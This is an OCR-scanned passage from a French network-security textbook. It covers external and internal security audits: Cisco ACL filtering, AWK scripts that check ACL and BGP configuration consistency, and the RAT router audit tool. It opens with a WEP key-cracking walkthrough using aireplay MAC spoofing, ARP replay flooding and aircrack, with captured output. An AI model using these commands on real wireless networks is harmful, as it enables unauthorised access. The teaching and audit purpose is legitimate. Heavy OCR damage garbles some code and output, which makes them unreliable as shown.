Malheureusement, il faut au minimum 300 000 IV pour esperer casser une cle WEP de 
64 bits et un million pour une cle de 128 bits. La capture ne progresse done que tres 
lentement. Pour ameliorer son efflcacite, l'auditeur provoque lui-meme 1' envoi massif de 
paquets avec IV par le point d'acces en inondant celui-ci de demandes d' envoi de tels 
paquets. 

Avant tout, il faut que l'auditeur s'associe avec le point d'acces en usurpant l'identite de 
la station en cours d'echange de donnees avec ce point d'acces : 

# ai replay -1 -e XXXX_YYYY -a 00:AA:AA:AA:AA:AA -b 00:AA:AA:AA:AA:AA -h 

00:BB:BB:BB:BB:BB athO 
09:40:04 Sending Authentication Request 
09:40:07 Sending Authentication Request 
09:40:10 Sending Authentication Request 
09:40:10 Authentication successful 
09:40:10 Sending Association Request 
09:40:10 Association successful ;-) 
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Sans cette etape, 1' operation devrait utiliser un autre procede, qui rendrait le cassage de la 
cle plus long et penible, voire illusoire. Les valeurs pour les adresses MAC et le SSID 
sont prises dans 1'affichage de la commande ai rodump. 

Une fois l'association realisee, l'envoi massif des paquets avec IV s'effectue par le biais 
de la commande suivante, qui fonctionne en parallele avec celle chargee de capturer les 
reponses : 

# aireplay -3 -x 600 -e XXXX_YYYY -a 00:AA:AA:AA:AA:AA -b 00:AA:AA:AA:AA:AA -h 
00:BB:BB:BB:BB:BB -r XXXX_YYYY.cap athO 

Saving ARP requests in replay_arp-1127-094201.cap 

You must also start ai rodump to capture replies 

Read 1200 packets (got 263 ARP requests), send 4800 packets... 

Notons que la commande aireplay n'afflche pas de nombre de requetes ARP capturees 
superieur a 1 024. 

A partir de ce moment, la cadence de capture des paquets par la commande a i rodump 
s'accelere, particulierement ceux qui contiennent un IV. Ainsi, l'auditeur dispose rapide- 
ment d'un nombre d'lV sufflsant (en moyenne, pour un reseau a 54 Mbit/s, il faut moins 
de 45 minutes pour disposer de 300 000 IV). 

Une fois le nombre de paquets sufflsants, la commande ai rcrack permet de casser la cle 
WEP: 

# aircrack *.cap *.ivs 
Open pcap file XXXX_YYYY.cap 
Open pcap file repl ay_arp-1127-094201.cap 
Choosing first WEP-encrypted BSSID = 00:AA:AA:AA:AA:AA 
Reading packets: total = 369683, usable = 352783 

aircrack 2.41 

[00:00:16] Tested 247952 keys (got 310647 IVs) 



KB 


depth 


byte 


(vote) 























0/ 


2 


47( 


39) 53( 


27) 


C3C 


17) 


1B( 


15) 


F3( 


8) 


62( 


5) 


1 


0/ 


9 


A5( 


16) B0( 


15) 


3F( 


13) 


3D( 


13) 


DOC 


13) 


C7C 


13) 


2 


0/ 


1 


AB( 


60) 07( 


21) 


F8( 


6) 


82 ( 


6) 


5A( 


3) 


C7( 


3) 


3 


0/ 


1 


F2( 


81) 4D( 


30) 


9D( 


18) 


D9C 


15) 


82( 


15) 


40C 


15) 


4 


0/ 


3 


62( 


18) E0( 


18) 


63C 


12) 


45C 


6) 


IDC 


6) 


24( 


5) 


5 


0/ 


1 


78( 


132) EA( 


19) 


IK 


18) 


76( 


18) 


C7( 


16) 


F9C 


15) 


6 


0/ 


2 


83 ( 


35) ADC 


23) 


88C 


15) 


72( 


11) 


63C 


11) 


5F( 


10) 


7 


0/ 


1 


4B( 


51) 2D( 


18) 


D9C 


15) 


FD( 


15) 


E5( 


14) 


COC 


12) 


8 


0/ 


7 


CD( 


27) 6A( 


18) 


8F( 


17) 


0A( 


15) 


9BC 


15) 


4F( 


15) 


9 


0/ 


3 


22( 


43) B6( 


31) 


9E( 


27) 


A3C 


15) 


EA( 


15) 


FFC 


15) 


10 


1/ 


4 


90( 


27) E8( 


15) 


IDC 


15) 


74 ( 


5) 


4E( 


5) 


62( 


3) 


11 


5/ 


9 


2F( 


18) D3( 


15) 


89C 


15) 


67( 


12) 


15( 


11) 


D6C 


8) 


12 


0/ 


3 


4E( 


37) ABC 


31) 


Al( 


26) 


51( 


16) 


24( 


15) 


02( 


15) 



KEY FOUND! [ xxxxxxxx ] 



336 



Tableaux de bord de la securite reseau 



La cle WEP de 64 bits (en realite 40 seulement) a ete cassee en moins de 45 minutes, 
apres quarante passes de capture de paquets, demontrant ainsi la faiblesse d'une telle 
methode de chiffrement pour securiser le lien Wi-Fi. 



En resume 



Nous avons vu dans ce chapitre comment realiser et automatiser un controle externe de 
securite. Rappelons qu'il s'agissait de verifier de l'exterieur qu'un systeme implementait 
les regies de securite issues de la politique de securite. 

Bien que certains outils permettent de mettre en oeuvre de maniere efflcace une veritable 
automatisation des controles de securite, de nombreux autres controles doivent etre reali- 
ses par des experts de la securite afln de completer l'analyse de securite d'un systeme. 

Le chapitre suivant se penche sur les controles internes de securite. Ce type de controle 
vise a verifier qu'un systeme vu de l'interieur suit les regies de securite issues de la poli- 
tique de securite. 
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Le controle interne de securite porte en priorite sur les analyses suivantes : 

• Analyse de la configuration des equipements reseau (routeurs, commutateurs, services 
reseau critiques, comme DNS, NTP, etc.). 

• Analyse de la configuration des systemes d' information qui sont heberges par le 
reseau, generalement des serveurs ou des stations de travail. 

• Utilisation d' equipements de securite charges de faire de l'ecoute passive du reseau 
(IDS/IPS) et analyse de leurs journaux d'activite ou messages. 

Le controle interne doit etre effectue regulierement, une fois par jour, par semaine ou par 
mois, et automatise au maximum arm de gagner du temps pour 1' analyse des donnees. II 
doit tenir compte des evolutions de la politique de securite, mais egalement de celle des 
architectures, des services reseau et des systemes d' information. II est toujours difficile 
de maintenir a jour le controle interne compte tenu de ces diverses evolutions. 

Nous nous appuyons dans ce chapitre sur une politique de securite reseau simpliflee afln 
de decrire les etapes de creation de procedures de controle. L'objectif de cette approche 
est de montrer, d'une part, qu'il est impossible de mettre en place un plan de controle si 
Ton ne comprend pas la politique de securite reseau ni les mecanismes de securite mis en 
place et, d' autre part, que les procedures de controle les plus simples sont souvent les 
plus efflcaces a moyen terme. 



Analyse de la configuration des equipements reseau 

La configuration des equipements reseau (commutateurs, routeurs, pare-feu, etc.) repre- 
sente la securite logique du reseau. Cette securite logique se traduit par des regies de 
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configuration precises realisees sur ces equipements, telles que la configuration des 
regies de filtrage d'un pare-feu, d'un routeur, etc. Toutes ces regies represented l'imple- 
mentation de la politique de securite reseau. 

Des problemes de consistance de la configuration des equipements reseau ou des erreurs 
de configuration, qu'elles soient volontaires ou involontaires, peuvent mettre en danger 
le reseau mais aussi les equipements attaches au reseau. 

Ces problemes de consistance de la configuration peuvent venir de regies de filtrage, ou 
ACL (Access Control List), definies mais jamais appliquees, ou de regies de filtrage 
appliquees mais jamais definies. On peut aussi avoir au sein d'une ACL des regies ou 
ACE (Access Control Entry) redondantes, voire contradictoires. 

L'exemple suivant illustre des redondances et incoherences contenues dans une ACL. 

Prenons 1' ACL definie par les entrees suivantes : 

access-list 101 permit IP 10.0.0.0 0.255.255.255 10.0.0.0 0.255.255.255 

access-list 101 permit IP 14.0.0.0 0.255.255.255 14.0.0.0 0.255.255.255 

access-list 101 permit IP 14.7.6.0 0.0.0.255 14.7.6.0 0.0.0.255 

access-list 101 permit IP 14.4.0.0 0.0.255.255 14.4.0.0 0.0.255.255 

Les lignes 2 et 3 sont redondantes : 



i 



[2] access-list 101 permit ip 14.0.0.0 0.255.255.255 14.0.0.0 0.255.255.255 
[3] access-list 101 permit ip 14.7.6.0 0.0.0.255 14.7.6.0 0.0.0.255 



Les lignes 2 et 4 sont redondantes : 



i 



[2] access-list 101 permit ip 14.0.0.0 0.255.255.255 14.0.0.0 0.255.255.255 
[4] access-list 101 permit ip 14.4.0.0 0.0.255.255 14.4.0.0 0.0.255.255 



Imaginons qu'une personne mal intentionnee prenne pied sur un routeur de l'intranet de 
l'entreprise suite a une faiblesse de configuration des acces en administration. Cette 
personne peut modifier des filtres, les mots de passe de l'equipement, ecouter le reseau 
au travers d'un tunnel GRE (Generic Routing Encapsulation), faire chuter le reseau intra- 
net en alterant les tables de routage, etc. Alterer un processus de routage est simple, 
rapide et generalement efficace : plus de routage, plus de trafic, et done plus de reseau. 

L' analyse de la configuration des equipements reseau est done un axe majeur de la secu- 
rite du reseau. Pour illustrer comment etablir un plan de controle de configuration, nous 
allons definir : 

• une politique de securite reseau simplifiee ; 

• des mecanismes de securite destines a implementer cette politique ; 

• un plan de controle et ses procedures. 

Politique de securite reseau simplifiee 

« Seul le trafic autorise transite sur le reseau de l'entreprise (intranet). » 
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Un reseau d'entreprise fonde sur le protocole IP a prealablement etabli ce que Ton 
appelle un plan d'adressage. En definissant comment les equipements reseau sont identi- 
fies et comment ils interagissent, ce plan d'adressage permet d'etablir le plan de routage 
du reseau. 

Seules les classes d'adresses IP definies dans le plan d'adressage du reseau d'entreprise 
ont le droit de generer des paquets IP, et done du trafic. On pourrait etre beaucoup plus 
restrictif en limitant ou en specifiant les trafics autorises en terme de services reseau tels 
que HTTP ou SMTP. 

Mecanismes de securite 

Les mecanismes de securite permettant d'implementer cette politique de securite sont 
nombreux. 

Dans notre exemple, nous allons choisir le mecanisme de filtrage par ACL (Access 
Control List) sur un routeur, qui permet de filtrer les paquets IP sur les adresses IP sour- 
ces et destination, mais aussi sur les ports TCP sources et destination. 

Une regie de filtrage ACL simplifiee s'ecrit de la maniere suivante : 

permit | deny protocol source_info dest_info 

• permi t indique que le trafic qui correspond a la regie est valide. 

• deny indique que le trafic qui correspond a la regie n'est pas valide et doit etre detruit. 

• protocol indique le protocole reseau : any, ip, iemp, tcp, udp, ospf, etc. 

• source_i nf o indique l'adresse source du paquet IP. 

• ip_adresse indique l'adresse IP de l'emetteur et le masque de sous-reseau (subnet 
mask) de l'adresse IP. 

• dest_i nf o indique l'adresse de destination du paquet IP. 

• any indique n'importe quel destinataire. 

Une ACL est constitute d'un ensemble de regies de filtrage, qui doivent etre appliquees 
au trafic transitant dans le routeur. Si un paquet IP correspond a une regie de filtrage, le 
paquet est valide (permi t) ou detruit (deny) suivant Taction decrite dans la regie. Dans le 
cas contraire, toutes les regies de l'ACL sont examinees une a une jusqu'a la fin de 
1' ACL. Si aucune regie ne correspond a un paquet donne, le paquet est detruit. 

Dans une ACL, l'ordre de definition des regies de filtrage est primordial. Un principe a 
suivre consiste a definir en premier le trafic autorise (permi t) puis a detruire tout le reste 

(deny ip any any). 

La figure 13.1 illustre le principe de fonctionnement des ACL. 
Deux ACL sont definies sur le routeur : 
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Figure 13.1 

Mise en ceuvre defiltres 
ACL sur un routeur 






Reseau local 






Filtrage du trafic entrant sur le route 
acl intranet_protect in 



Filtrage du trafic sortant du routeur 
acl intranet_protect out 




Routeur 



• L' ACL i ntranet_protect i n filtre le trafic de donnees du reseau local entrant sur le 
routeur. 

• L'ACL intranet_protect out filtre le trafic de donnees sortant du routeur vers le 
reseau local. 

Ces ACL sont associees a 1' interface du routeur connecte au reseau local. 

Pour mettre en place la politique de securite reseau, nous allons definir, sur chaque 
routeur intranet de l'entreprise, 1' ACL filtrant les paquets entrant du LAN vers le routeur 
et 1' ACL filtrant le trafic sortant du routeur vers le LAN. 

Considerons que les classes d'adresses IP suivantes sont attributes aux LAN des diffe- 
rentes routeurs du reseau : 

• Atlanta (rati 001) : connexion Ethernet sur le LAN intranet de l'entreprise desservant 
la classe d'adresses IP 10.1.0.0 0.0.255.255 ; 

• Paris (rparOOl) : connexion Ethernet sur le LAN intranet de l'entreprise desservant la 
classe d'adresses IP 10.2.0.0 0.0.255.255 ; 

• Singapour (rsinOOl) : connexion Ethernet sur le LAN intranet de l'entreprise desser- 
vant la classe d'adresses IP 10.3.0.0 0.0.255.255. 

Ces classes d'adresses IP correspondent aux adresses officielles du reseau de l'entreprise, 
et done au trafic autorise par defaut sur les reseaux intranet de l'entreprise. Nous avons 
simplifie l'etendue des adresses IP du reseau de l'entreprise de la fa^on suivante. 

Les sous-reseaux du reseau intranet sont : 

10.0.0.0 0.0.255.255 

10.1.0.0 0.0.255.255 

10.2.0.0 0.0.255.255 

10.3.0.0 0.0.255.255 

lis sont simplifies de maniere generique par le sous-reseau suivant : 



-> 10.0.0.0 0.3.255.255 (10.0.0.0 255.252.0.0) 
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L' application de la politique de securite consiste a verifier que les traflcs entrant et sortant 
d'un LAN (intranet) comportent bien les adresses IP sources et destination autorisees. 

Pour un routeur Cisco, la configuration des ACL generiques s'ecrit de la maniere 
suivante : 

! Definition de 1 'ACL intranet-protect-in et filtrage du trafic sortant du LAN vers le 

routeur : 

ip access-list extended Intranet-protect-in 

! Definition du trafic autorise : 

permit ip 10.0.0.0 0.3.255.255 10.0.0.0 0.3.255.255 

! Destruction du reste du trafic : 
deny ip any 

! Definition de 1 'ACL intranet-protect-out et filtrage du trafic sortant du routeur 

vers le LAN : 

ip access-list extended Intranet-protect-out 

! Definition du trafic autorise : 

permit ip 10.0.0.0 0.3.255.255 10.0.0.0 0.3.255.255 

! Destruction du reste du trafic : 
deny ip any 

! Application du filtrage sur 1 'interface Ethernet LAN intranet de 1'entreprise et 
definition de 1 'interface : 
interface Ethernet ... 

description LAN intranet 

ip address ... 

! Application du filtrage sur le trafic entant sur le routeur : 
ip access-group Intranet-protect-in in 

! Application du filtrage sur le trafic sortant du routeur : 
ip access-group Intranet-protect-out out 



Plan de controle et procedures 

La verification de 1' application de la politique de securite consiste a definir un controle 
interne de securite sur les ACL definies sur les routeurs. 

Pour y parvenir, un ensemble d'etapes doivent etre realisees afin d'obtenir le resultat 
escompte, comme illustre a la figure 13.2. 

La premiere etape dans la mise en oeuvre du plan de controle des ACL consiste a centra- 
liser sur un serveur dedie la configuration des equipements reseau, particulierement des 
routeurs dans cet exemple. 
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Figure 13.2 

Processus de verification 
des configurations des 
equipements reseau 



Configuration des routeurs 
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Politique de securite 
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Tests de verification 
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Application des tests de verification sur chaque routeur 
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Rapport de verification 
(de I'application de la politique de securite 
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Sachant que les protocoles d'acces aux equipements reseau se fondent generalement sur 
des applications de type TFTP, FTP, SNMP, SSH, etc., la recuperation des configurations 
des routeurs peut s'effectuer tres simplement, comme illustre a la figure 13.3. 



Figure 13.3 

Centralisation des 
configurations des 
equipements reseau 




Serveur de configuration 
des equipements 



Pour des raisons evidentes de securite, il faut choisir une methode de transmission des 
donnees s'appuyant sur des sessions authentiflees et chiffrees, par exemple sur SSH 
(Secure Shell) ou IPsec. Les configurations des equipements, qui contiennent le plan 
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d'adressage, les filtrages reseau, etc., sont de nature confidentielle pour la securite du 
reseau d'entreprise. 

Pour le stockage sur le serveur central, chaque configuration doit etre clairement identifier 

Voici quelques regies de nommage : 

• [a-z] : identifie un equipement reseau donne. Le choix de la lettre que Ton peut asso- 
cier a un equipement est arbitraire (« r » pour routeur, « f » pour pare-feu, etc.). 

• [a-z][a-z][a-z]: nom de la ville ou se trouve 1' equipement reseau. Le code IATA a 
trois lettres peut etre utilise (« par » correspond a Paris, « atl » a Atlanta, etc.). 

• [0-9][0-9][0-9]: numero de 1' equipement dans la ville. 

Par exemple, ramsOOl peut representer un routeur (r), localise a Amsterdam (ams), 
portant le numero 1 (001), et katlOOl un commutateur (k), localise a Atlanta (atl) et 
portant le numero 1 (001). 

II faut en outre definir des domaines logiques, correspondant aux repertoires de stockage 
auxquels seront rattaches les equipements reseau. 

V 

A titre d' exemple : 

• /Intranet peut stocker les configurations des routeurs appartenant au sous-reseau 
intranet (rparOOl, rati 001, rsinOOl). 

• /Extranet peut stocker les configurations des routeurs appartenant au sous-reseau 
extranet (r par 002, rpar003). 

• /internet peut stocker les configurations des routeurs appartenant au sous-reseau 
Internet (rati 002, rati 003). 

Une fois les configurations stockees, chaque configuration peut etre vue comme un 
flchier texte contenant tous les elements constituant la configuration. Une configuration 
n'est done qu'un ensemble de lignes suivant une syntaxe et une nomenclature precises, 
differentes pour chaque equipementier (Cisco, Juniper, Bay Networks, etc.). La verifica- 
tion de la configuration des equipements reseau s'appuie sur une analyse precise des 
lignes constituant chaque configuration. 

Consistance des configurations reseau 

La configuration d'un equipement reseau est constitute de lignes se referant a des 
commandes de configuration. Ces lignes de configuration suivent une syntaxe et un ordre 
de configuration qui sont propres a chaque equipementier. La configuration d'un equipe- 
ment Cisco est foncierement differente de celle d'un equipement Juniper, par exemple. 

Quels que soient cette syntaxe et cet ordre, si des lignes de configuration sont definies 
mais jamais utilisees ou appliquees, ou alors utilisees ou appliquees mais jamais definies, 
certaines redondantes ou contradictoires, la configuration de 1' equipement reseau est 
inconsistante et peut engendrer des comportements anormaux ou inattendus, voire de 
serieux problemes de securite. 
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Analyse des ACL 

Les ACL sont des elements de configuration permettant de filtrer les flux reseau a des fins 
de securite. II est done essentiel de les analyser en profondeur, particulierement leur 
consistance dans la configuration d'un routeur. 

Toute inconsistance detectee sur une ACL impliquant la securite, tel le filtrage des proto- 
cols reseau, doit etre connue et repertories Nous considerons qu'une configuration est 
consistante par rapport aux ACL si les deux conditions suivantes sont remplies : 

• Les elements de filtrage de type ACL dermis sont references. 

• Les elements de filtrage de type ACL references sont dermis. 

Bien qu'il soit difficile a priori d'associer un niveau de risque si Tune de ces deux regies 
n'est pas respectee, on peut dire qu'une ACL definie et non referencee peut constituer un 
serieux trou de securite si cette ACL joue un role de filtrage important. De meme, une 
ACL referencee et non definie est generalement traitee comme une ACL permissive, 
e'est-a-dire autorisant tout. Cela n'est evidemment pas souhaitable si 1' ACL doit jouer un 
role de filtrage de securite. 

Si nous ecrivons l'algorithme du programme en pseudo-code, nous obtenons le resultat 
suivant : 

# Lecture de toutes les configurations 
POUR chaque configuration routeur FAIRE 

# lecture d'une configuration 
Lire la configuration 

# Stockage des filtrages dans des tableaux 
POUR chaque ligne de la configuration FAIRE 

Stocker dans acl_defined si la ligne definit une ACL 
Stocker dans acl_referenced si la ligne reference une ACL 
FIN FAIRE 

# Verifier que les filtrages definis sont references 
POUR chaque element dans acl_defined FAIRE 

Si element n'appartient pas a acl_referenced 
Alors une acl est definie et pas referencee. 
FIN POUR 

# Verifier que les filtrages references sont definis 
POUR chaque element dans acl_referenced FAIRE 

Si element n'appartient pas a acl_defined 
Alors une acl est referencee mais pas definie. 
FIN POUR 

FIN lire 

FIN FAIRE 
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Voici le programme ecrit en langage AWK, qui s' execute sur une configuration Cisco : 

Ce script est un exemple et ne prend pas en compte tous les cas de configuration. II 

devra done etre complete. Le script verifie les filtrages qui sont definis mais pas 

references ainsi que les filtrages qui sont references mais pas definis 

# !/usr/bin/awk -f 

# 

# Ce script est un exemple et ne prend pas en compte tous les cas de configuration. 

# II devra done etre complete 
# 

# Stockage des filtrages references dans un tableau associatif acl_referenced 

$1 == "ip" && $2 == "access-group" { 

if (! ($3 in acls_referenced) && $3!="") { 

acls_referenced[ $3 ] = $0" (line "FNR")"; 

} 

next 
} 

$1 == "rate-limit" && $3 == "access-group" { 

if (! ($4 in acls_referenced) && $4!="") { 

acls_referenced[ $4 ] = $0" (line "FNR")"; 

} 

next 
} 

$1 == "snmp-server" && $2 == "community" && NF == 5 { 
if (! ($5 in acls_referenced) && $5!="") { 

acls_referenced[ $5 ] = $0" (line "FNR")"; 
} 
next 

} 

$1 == "access-class" { 

if (! ($2 in acls_referenced) && $2!="") { 

acls_referenced[ $2 ] = $0" (line "FNR")"; 

} 

next 
} 

# Stockage des filtrages definis dans un tableau associatif acl_defined 

$1 == "access-list" { 

if (! ($2 in acls_defined) && $2!="") { 

acls_defined[ $2 ] = $0" (line "FNR")"; 

} 

next 
} 
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$1 == "ip" && $2 == "access-list" { 

if (! ($4 in acl s_defined) && $4!="") { 

acls_defined[ $4 ] = $0" (line "FNR")"; 

} 
next 



END { 



#■ 



# Filtrages definis mais pas references 
# 

for (acl_id in acls_defined) { 

if (! (acl_id in acl s_referenced) && acl_id != "" ) { 

print FILENAME, "acl def/non ref : "acls_defined[acl_id] ; 

} 
} 



f 



# Filtrages references mais pas definis 



for (acl_id in acl s_referenced) { 

if (! (acl_id in acl s_defined) && acl_id != "" ) { 

print FILENAME, "acl ref/non def :"acls_referenced[acl_id] ; 



} 



Analyse des f iltres de routage 

II s'agit ici de verifier la consistance logique de la configuration d'un routeur par rapport 
aux elements de filtrage associes au routage. Toute inconsistance detectee sur un element 
de filtrage doit etre connue et repertories Nous considerons qu'une configuration est 
consistante par rapport aux elements de filtrage associes au routage si les deux conditions 
suivantes sont remplies : 

• Les elements de filtrage du routage definis sont references. 

• Les elements de filtrage du routage references sont definis. 

Comme precedemment, un element de filtrage defini et non reference peut constituer un 
serieux trou de securite si cet element de filtrage joue un role important. De meme, un 
element de filtrage reference et non defini est a traiter comme un element de filtrage 
permissif. 

Si nous ecrivons 1'algorithme du programme en pseudo-code, nous obtenons le resultat 
suivant : 



i 



# Lecture de toutes les configurations 
POUR chaque configuration routeur FAIRE 



Controle interne de securite 



347 



Chapitre 13 



# Lecture d'une configuration 
Lire la configuration 

# stockage des filtrages de routage dans des tableaux 
POUR chaque ligne de la configuration FAIRE 

Stocker dans routing_defined si la ligne 
definit un element de filtrage associe au routage 
Stocker dans routing_referenced si la ligne 
reference un element de filtrage associe au routage 
FIN FAIRE 

# verifier que les elements de filtrage definis sont 

# references 
POUR chaque element dans routing_defined FAIRE 

Si element n'appartient pas a routing_referenced 
Alors un element de filtrage est defini et 
pas reference 
FIN POUR 

# verifier que les elements de filtrage references 

# sont definis 
POUR chaque element dans routing_referenced FAIRE 

Si element n'appartient pas a routing_defined 
Alors un element de filtrage est reference 
mais pas defini . 
FIN POUR 

FIN lire 

FIN FAIRE 
Voici le programme ecrit en langage AWK, qui s' execute sur une configuration Cisco : 

# !/usr/bin/awk -f 

# 

# Ce script est un exemple et ne prend pas en compte tous les cas de configuration 

# II devra done etre complete. 



#■ 



# Stockage des elements BGP references dans bgp_ref 

$1 == "neighbor" && $3 == "prefix-list" { 
if (!($4 in bgp_def) && $4!="") { 

bgp_ref[ $4 ] = $0" ;1 ine "FNR; 
} 
next; 



$1 == "neighbor" && $3 == "route-map" { 
if (!($4 in bgp_def) && $4!="") { 
bgp_ref[ $4 ] = $0";line "FNR; 
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next; 



$1 == "match" && $2 == "community" { 
if (!($3 in bgp_ref) && $3!="") { 

bgp_ref[ $3 ] = $0";line "FNR; 

} 
next; 



# 

# Stockage des elements BGP definis dans bgp_def 
# 

$1 == "ip" && $2 == "prefix-list" { 
if (!($3 in bgp_def) && $3!="") { 

bgp_def[ $3 ] = $0";line "FNR; 

} 
next; 



$1 == "route-map" { 

if (!($2 in bgp_def) && $2!="") { 

bgp_def[ $2 ] = $0";line "FNR; 
} 
next; 



$1 == "ip" && $2 == "community-list" { 
if (!($3 in bgp_def) && $3!="") { 

bgp_def[ $3 ] = $0";line "FNR; 
} 
next; 



END { 



#■ 



# Verification que les elements definis sont references 
# 

for (id in bgp_def) { 

if (Kid in bgp_ref) && id! = "") { 

print FILENAME" ;def/non ref ; "id" ;"bgp_def [id] ; 



} 



} 



#- 



# Verification que les elements references sont definis 

for (id in bgp_ref) { 

if (Kid in bgp_def) && id! = "") { 
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print FILENAME" ;ref/not def ; "id" ;"bgp_ref [id] ; 
} 
} 
} 

Analyse des topologies de routage iBGP et eBGP 

Les topologies de routage iBGP et eBGP sont presentes dans les configurations des equi- 
pements reseau. Nous pouvons done extraire ces informations en analysant chaque confi- 
guration participant au routage BGP. 

Pour une configuration Cisco, les commandes de configuration sont les suivantes : 

hostname name: nom du routeur. 

ip address ip-address [subnetjnask] : def i nit une adresse IP qui sera uti 1 i see pour 

definir les sessions de routage. 

router bgp autonomous-system: def i nit le systeme autonome du processus BGP. 

neighbor ip-address ...: def i nit les sessions de routage. 

De maniere plus precise, il nous faut extraire les informations de routage BGP a partir 
des configurations des equipements reseau afin de creer le fichier topologie, structure par 
les champs suivants : 

<router_name> extrait de la commande "hostname name" 

<bgp_as_id> extrait de la commande "router bgp autonomous-system" 

<bgp_ip_address> extrait de la commande "neighbor ip-address" 

et le fichier adressejp, structure par les champs suivants : 



i 



<router_name> extrait de la commande "hostname name" 

<ip_address> extrait de la commande "ip address ip-address [subnetjnask] 



Ces informations sont utilisees pour deduire les topologies de routage BGP par une join- 
ture algebrique entre les fichiers topologie et adressejp. 

La symetrie des sessions de routage est possible lorsqu'il s'agit de sessions de routage 
internes. Dans le cas de sessions de routage externes, les lignes non resolues par 1' opera- 
tion de jointure signifient qu'il s'agit de sessions eBGP. 

Si nous considerons les donnees contenues dans les fichiers topologie et adresse_ip, nous 
pouvons deduire par la requete algebrique suivante les sommets et les arcs du graphe des 
sessions eBGP entre les systemes autonomes : 

/* Liste les aires BGP_AS */ 

Pour chaque valeur dans topologie[bgp_as_id] faire 

/* Liste sessions de routage entre les routeurs */ 
topologie[bgp_as_id] as a join adresse_ip as b join 
topologie[bgp_as_id] as c 

on a[bgp_ip_address] = b[ip_address] and 

b[router_name] =c[router_name] 
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where 

a[bgp_as_id] = valeur and c[bgp_as_id] != valeur 



Fin Fa ire 

Note: 2 routeurs sont BGP connectes, si un routeur a une session de routage vers 
1'adresse IP d'une interface du second routeur. 

La verification de la topologie de routage eBGP consiste a valider que chaque session de 
routage avec d'autres reseaux est resiliente ou doublee. 

Si nous considerons les donnees contenues dans les fichiers topologie et adressejp, 
nous pouvons deduire par la requete algebrique suivante les sommets et les arcs du 
graphe des sessions iBGP au sein d'un systeme autonome : 

/* Liste les aires BGP_AS */ 

Pour chaque valeur dans topologie[bgp_as_id] faire 

/* Liste les sessions de routage entre les routeurs */ 
topologie[router_name] as a join adresse_ip as b join 
topologie[router_name] as c 

on a[bgp_ip_address] = b[ip_address] and 
b[router_name] =c[router_name] 



where 

a[bgp_as_id] = valeur and c[bgp_as_id] = valeur 



Fin Fa ire 

Note: 2 routeurs sont BGP connectes, si un routeur a une session de routage vers 
1'adresse IP d'une interface du second routeur. 

La verification de la topologie de routage iBGP consiste a valider que le graphe est 
complet pour le modele « complet ». Pour le modele « Reflecteur de route », il s'agit de 
verifier que le graphe est connexe et sans point d' articulation. Rappelons que 1' extraction 
de toutes les composantes fortement connexes d'un graphe et le calcul des points d' arti- 
culation sont des problemes faciles a resoudre. 

Analyse de la politique de routage 

Comme indique precedemment, une politique de routage peut se fonder sur differents 
mecanismes de securite. Le controle de cette politique dans les configurations des equi- 
pements reseau est fondamental afin de s'assurer qu'elle est definie et appliquee. 



La politique de routage suivante a ete definie 
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• Sous-politique de routage eBGP : 

« Un mot de passe est defini pour chaque session BGP. » 
« Des filtrages des prefixes recus sont actifs. » 

• Sous-politique de routage iBGP : 

« Un mot de passe est defini pour chaque session BGP. » 

Le script suivant ecrit an AWK controle cette politique de routage dans les 
configurations : 

# !/usr/bin/awk -f 

# 

# Ce script est un exemple et ne prend pas en compte tous les cas de configuration. 

# II devra done etre complete. 

# 

# Stockage de l'as associe au routeur 
# 

$1 == "router" && $2 == "bgp" && NF == 3 { 

this_as = $3; 

next; 
} 

# Stockage dans un tableau associatif 

# les sessions BGP 

$1 == "neighbor" && $2~/[0-9]+[. ]/ { 

if ( ! ($2 in neighbor)) { 
neighbor[$2]=$0; 

} 
} 

# 

# Stockage des elements de la politique de securite 

$1 == "neighbor" && $2~/[0-9]+[.]/ && $3 == "remote-as" && NF == 4 { 

neighbor_pol icy[$2,0]=$4; 

next; 
} 

$1 == "neighbor" && $2~/[0-9]+[.]/ && $3 == "password" { 

neighbor_pol icy[$2,l]="l" ; 

next; 
} 

$1 == "neighbor" && $2~/[0-9]+[.]/ && $3 == "prefix-list" && $5 == "in" { 

neighbor_policy[$2,2]="l"; 

next; 
} 
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END { 



# 



# Verification de la politique de securite de routage 
# 

for (id in neighbor) { 

if (neighbor_policy[id,0] == "") { 

print FILENAME" ; "id" ;n'a pas de remote as"; 
} else { 



Verification de la politique de securite de routage eBGP 



if (neighbor_policy[id,0]!= "" && this_as != 
neighbor_pol i cy [ i d , ] ) { 

if (neighbor_pol icy[id,l] == "") 

print FILENAME" ;eBGP; "this_as" ; " 
nei ghbor_pol i cy [i d , 0] " ; " i d 
";n'a pas de mot de passe"; 

if (neighbor_policy[id,2] == "") 

print FILENAME" ;eBGP; "this_as" ; " 
nei ghbor_pol i cy [i d , 0] " ; " i d 
";n'a pas de prefix-list in"; 



Verification de la politique de securite de routage iBGP 



if (neighbor_policy[id,0]!= "" && this_as == 
neighbor_pol icy[id,0]) { 

if (neighbor_pol icy[id,l] == "") 

print FILENAME" ;iBGP; "nei ghbor_pol icy [id,0] 
";"id";n'a pas de mot de passe"; 



L'outil RAT (Router Audit Tool) 

Ecrit par G. M. Jones (<gmj@cisecurity.org>), RAT est distribue par le CIS (Center for 
Internet Security). 

Disponible gratuitement sur Internet pour un usage personnel, RAT est compose des 
programmes suivants : 
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• rat, le programme principal. 

• snarf, qui permet de telecharger les configurations des routeurs. 

• ncat_conflg, qui permet de generer une configuration d' audit. 

• ncat_report, qui permet de generer des rapports d' audit. 

Avant de lancer tout audit, un flchier de configuration d' audit doit etre defini afln de 
preciser les commandes d' audit ou de verification de la configuration. Ce flchier s'appuie 
sur une bibliotheque de regies deflnissant des standards de securite. Cette bibliotheque 
est aujourd'hui divisee en deux parties, Level- 1 Benchmark, qui contient un ensemble de 
regies elementaires, et Level-2 Benchmark, qui contient des regies plus etendues. 

Chaque regie contient les champs ou attributs suivants : 

• Impact de securite : decrit 1' impact de securite associe si la regie n'est pas appliquee. 

• Importance : associe une valeur entre 1 et 10 refletant l'importance de l'impact de 
securite si la regie n'est pas appliquee. 

• Actions associees a la regie : decrit les actions permettant de corriger et done d'appli- 
quer la regie. 

• Expression reguliere deflnissant la regie : decrit une expression reguliere a partir de 
laquelle l'outil verifie si une regie est appliquee. 

Le tableau 13.1 recense les groupes de regies de securite Level- 1 Benchmark. 
Tableau 13.1 Groupes de regies de securite Level-1 Benchmark 

Groupe de regies Description 

Local AAA Rules Definit les regies de securite relatives a la configuration locale d'authentification TACACS. 

SNMP Rules Definit les regies de securite relatives a la configuration du protocole de supervision reseau SNMR 

Access Rules Definit les regies de securite relatives a la configuration du controle d'acces au routeur. 

